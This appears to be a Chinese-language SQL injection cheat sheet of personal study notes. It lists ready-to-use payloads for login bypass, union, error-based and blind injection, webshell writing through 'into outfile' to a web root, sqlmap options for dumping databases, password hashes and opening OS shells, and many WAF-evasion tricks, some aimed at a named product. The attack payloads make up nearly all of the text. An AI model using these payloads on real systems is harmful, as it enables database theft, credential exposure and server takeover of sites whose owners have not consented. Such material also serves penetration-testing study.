sql注入
sql注入
sql注入原理
网站在传递sql语句内容的过程中,没有对用户输入的参数进行严格过滤和限制,就直接将其内容带入到sql语句中,导致恶意的sql语句被执行,从而造成数据泄露、数据篡改等危险的结果
sel注入条件
- 用户能够控制输入的内容
- 没有对用户控制的内容进行严格过滤,就直接带入到sql语句中直接执行
SQL注入分类
根据请求分类
GET请求注入
POST请求注入
万能密码:
' or 123=123#
admin' and 123=123#
admin' and '123'='123COOKIE请求注入
根据参数分类
整数型注入
select uname,password from users where uid=$id
字符型注入
select uname,password from users where uid= '$id'
搜索型注入
select uname,password from users where uname like '%$uname%'
根据注入点分类
联合查询注入
只适合于select语句
union select 1,2,3%23
union select 1,2,(select database())报错注入
extractvalue(1,concat(0x7e,(select database())))%23
updataxml(1,concat(0x7e,(select database())),3)%23布尔盲注
and length(database())>0%23
and substr(database())='i'%23
and ascii(substr((select database()),1,1))=105%23时间盲注
and if(mid((select database()),1,1)='i',sleep(5),0)%23
and if(mid((select database()),1,1)='i',benchmark(10000000,md5('a')),0)%23 #benchmark:执行10000000次md5堆叠注入
敏感函数:mysqli_multi_query
header头注入(User-agent、xff、client_ip、cookie)
宽字节注入
宽字节注入条件
- 使用了addslashes()、mysql_real_eacape_string()等转义函数对单双引号进行转义(加反斜杠)
- 数据库为gbk编码
利用gbk汉字编码进行绕过(%81-%fe)
%5c%27 -> %df%5c%27 -> 運'
urlencode注入
两次url编码绕过(url_encode)
base64注入
base64编码绕过
二次注入(二阶注入)
通常在有转义函数的位置(如注册用户或者留言处)中加上单引号
'
,当单引号被加上转义后插入数据库,进入数据库后被还原为只有一个单引号。当sql语句再次查询到该内容时,则会直接取出恶意数据
根据数据库分类
- mysql
- mssql
- oracle
- mongodb
- access
手工注入流程
判断url是否存在注入及注入类型(数字型,字符串)
'
')
"
")
#
and
or判断字段数(order by x)
判断回显点(union select 1,2,3)
通过回显点查询数据(数据库当前表名、版本、操作系统版本、用户等等)
group_concat()
concat()
concat_ws()
database()
user()
version()
@@datadir #显示数据库数据保存路径
@@basedir #显示mysql安装路径
@@version_compile_os #显示mariadb数据编译的操作系统通过回显点查询数据
union select (select database()),(select table_name from information_schema.tables where table_schema=database()),3%23
通过回显点查询字段内容数据
判断是否满足写webshell的条件
dba权限(数据库导入导出权限)
show variables like '%secure%' #查询全局变量
或者使用sqlmap的--is-dba参数来进行判断
知道网站的绝对路径
未对单双引号做限制
mysql用户可写
union select 1,2,'<?=phpinfo();?>' into outfile '/var/www/html/shell.php'%23
union select 1,2,'<?=phpinfo();?>' into dumpfile '/var/www/html/shell.php'%23
union select 1,2,3 into outfile '/var/www/html/shell.php' lines terminated by '<?=phpinfo()?>'%23
union select 1,2,3 into outfile '/var/www/html/shell.php' columns terminated by '<?=phpinfo()?>'%23
union select 1,2,3 into outfile '/var/www/html/shell.php' fields terminated by '<?=phpinfo()?>'%23
union select 1,2,3 into outfile '/var/www/html/shell.php' lines starting by '<?=phpinfo()?>'%23
sqlmap
参数介绍
-u #指定url
-l #指定日志文件
-m #指定文件进行批量测试
-r #从文件中读取HTTP请求(文件中为http请求包内容)
-g #使用谷歌语法匹配测试
--cookie= #指定cookie
--random-agent #随机user-agent头进行测试
--threads 3 #指定线程
--dbs #注入出网站所有数据库名
--current-db #注入出当前数据库名
--current-user #注入出当前用户名
--users #查询总共有哪些用户
--passwords #查询用户密码的哈希
--roles #查看总有哪些角色(权限)
--privileges #查看特权
--dbms=mysql #指定数据库
-D|-T|-C #指定库|表|字段名
--dump #指定库|表|字段进行脱库
--dump-all #对所有库进行脱库
--where='id<5' #指定条件dump
--delay 1 #指定发包间隔(单位为s)
--time-sec #指定时间盲注的休眠时间(单位为s)
--risk #指定测试深度(越高会增加数据被篡改的风险。2:基于测试3:or测试,4:update测试)
--level #指定测试等级(1-5,默认为1。2:cookie,3:user-agent,4:refere,5:host)
--purge #清空sqlmap对该网站的缓存进行测试
--technique=B|E|U|S|T #指定使用的注入类型(B:布尔,E:报错,U:联合,S:堆叠,T:时间)
--tamper="xxx" #指定绕过脚本进行注入
--sql-shell #创建一个sql的shell
--sql-file #执行文件中的sql语句
--sql-query #执行一个sql语句
--os-shell #创建一个对方操作系统的shell(本质是先传一个文件上传页面,然后通过该页面传一个webshell)
--os-cmd #执行一条系统命令
--file-read #读取目标网站文件内容
--file-write #从本地读取一个文件内容
--file-dest #写入到目标网站的一个文件(绝对路径)
--prefix #指定前缀
--suffix #指定后缀
--crawl=4 #指定爬取深度
--proxy #指定代理
waf绕过
waf种类
- 云waf
- 硬件waf
- 软件waf
- 代码waf
常见绕过方式
空格被拦截
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
单双引号被过滤
- 十六进制
- ascii char()
- 子查询
逗号被拦截
from 1 for 1
代替,1,1
select substr(database(),1,1) -> select substr(database() from 1 for 1);
limit 1 offset 0代替limit 0,1
select username from users limit 0,1 -> select username from users limit 0 offset 1;
join
select * from(select user())a join (select database())b
like爆破
select username from users like 'a%' #返回1则为匹配到
select username from users like 'ad%'
select username from users like 'adm%'
select username from users like 'admi%'regexp爆破
select username from users regexp '^a'
select username from users regexp '^ad'
select username from users regexp '^adm'and or xor绕过
and -> && -> %26%26
or -> || -> %7c%7c
xor -> | -> %7c比较符和等于号绕过
利用greatest绕过
<>
过滤select * from users where id=1 and ascii(substr(user(),1,1))> 100
select * from users where id=1 and greatest(ascii(substr(user(),1,1)),1)=100 #等于100则返回0
select * from users where id in (1); #使用in代替=号sqlmap则使用between脚本,利用greatest()返回最大值,least()返回最小值
and ascii('a')<>97 #表示不等于(绕过=)
WAF过滤关键字
大小写绕过
SeleCt user from users
双写绕过
selselectect user from users
内联注释绕过
/*!00000select*/ user from users
特殊符号绕过
/*!%23/*%0afrom*/
database/*%!a*/()
利用字典fuzz
安全狗绕过
内联注释
/*!00000select*/ user from users
/*!%23/*%0aselect*/ user from users
select/*!99999*/user from users空格绕过
database() -> database ()
-> database/*!99999*/()
-> database/**/()url编码绕过
and -> && -> %26%26
or -> || -> %7c%7c注释换行绕过
换行后不受上行单行注释的影响
union -- xxx%0aselect 1,2,3%23
特殊url编码绕过
union/*%!a*/select 1,2,3%23
url另类传参绕过
php中,当url参数出现两个同名参数时,将取最后一个参数的值(安全狗误以为/**/是注释的内容,因此全部忽略)
?tel=1&id=/*&tel=1' union select 1,2,3%23*/